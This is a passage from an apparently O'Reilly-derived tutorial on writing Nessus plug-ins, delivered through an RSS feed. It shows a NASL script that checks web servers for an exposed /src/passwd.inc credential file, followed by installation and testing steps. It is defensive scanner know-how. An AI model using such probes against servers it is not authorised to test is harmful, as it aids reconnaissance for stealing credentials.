    script_version (&amp;quot;$Revision: 1.2 $&amp;quot;);&lt;br /&gt;
    script_name(english:&amp;quot;Checks for /src/passwd.inc&amp;quot;);&lt;br /&gt;
    desc[&amp;quot;english&amp;quot;]=&amp;quot;/src/passwd.inc is usually installed by XYZ web &lt;br /&gt;
 application and contains username and password information in clear text. &lt;br /&gt;
 &lt;br /&gt;
 Solution: Configure your web browser to not serve .inc files.&lt;br /&gt;
 &lt;br /&gt;
 Risk factor: High&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
    script_description(english:desc[&amp;quot;english&amp;quot;]);&lt;br /&gt;
    script_summary(english:&amp;quot;Checks for the existence of /src/passwd.inc&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
    script_category(ACT_GATHER_INFO);&lt;br /&gt;
    script_copyright(english:&amp;quot;This script is Copyright (c)2004 Nitesh &lt;br /&gt;
        Dhanjani&amp;quot;);&lt;br /&gt;
    script_family(english:&amp;quot;CGI abuses&amp;quot;);&lt;br /&gt;
    script_require_ports(&amp;quot;Services/www&amp;quot;,80);&lt;br /&gt;
 &lt;br /&gt;
    exit(0);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 include (&amp;quot;http_func.inc&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
 port=get_http_port(default:80);&lt;br /&gt;
 &lt;br /&gt;
 if(is_cgi_installed(item:&amp;quot;/src/passwd.inc&amp;quot;,port:port))&lt;br /&gt;
        security_hole(port);&lt;br /&gt;
&lt;br /&gt;
For more information about the description functions used in the preceding code, see the [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Plug-in Descriptions|Section 1.12.2]] earlier in this chapter.&lt;br /&gt;
&lt;br /&gt;
To install the script, place the code in a file called ''homegrownwebapp.nasl''. Make sure this file is located in the ''/usr/local/lib/nessus/plugins/'' directory of the host running the Nessus server. After you start the Nessus server and connect to it via the Nessus client, go to the Plugins tab and click the Filter tab. Check the &amp;quot;ID number&amp;quot; box and enter &amp;lt;tt&amp;gt;'''99999'''&amp;lt;/tt&amp;gt; in the Pattern box, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-FIG-6|Figure 1-6]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-FIG-6&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 1-6. Searching for plug-ins'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_1_tt80.png|Searching for plug-ins]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Because our plug-in calls &amp;lt;tt&amp;gt;script_id()&amp;lt;/tt&amp;gt; with &amp;lt;tt&amp;gt;99999&amp;lt;/tt&amp;gt; as the parameter, the &amp;quot;Filter plugins...&amp;quot; window returns information about our plug-in. When you click the OK button, you should see &amp;quot;CGI abuses&amp;quot; listed under the &amp;quot;Plugin selection&amp;quot; listbox. Select &amp;quot;CGI abuses&amp;quot; by clicking it, and you should see the text &amp;quot;Checks for /src/passwd.inc&amp;quot; displayed in the listbox below it. Click it, and you should see a description of the plug-in, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-FIG-7|Figure 1-7]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-FIG-7&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 1-7. Plug-in details'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_1_tt81.png|Plug-in details]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To make sure the plug-in works, you need a web server that services the file ''/src/passwd.inc''. If you have an Apache web server running on a host, create a file called ''src/passwd.inc'' within its web root directory. Now, enter the IP address of the host running the web server in the &amp;quot;Target selection&amp;quot; tab and click &amp;quot;Start the scan.&amp;quot; If all goes well, you should see a Nessus report, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-FIG-8|Figure 1-8]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-FIG-8&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 1-8. Nessus report with output from our plug-in'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_1_tt82.png|Nessus report with output from our plug-in]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;http&amp;quot; port indicates a security hole due to the presence of ''/src/passwd.inc''. That is all there is to writing, installing, and using your own plug-in in Nessus!&lt;/div&gt;</description>
			<pubDate>Tue, 11 Mar 2008 21:39:00 GMT</pubDate>			<dc:creator>Docbook2Wiki</dc:creator>			<comments>http://commons.oreilly.com/wiki/index.php/Talk:Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Plug-ins_for_Nessus</comments>		</item>
	</channel>
</rss>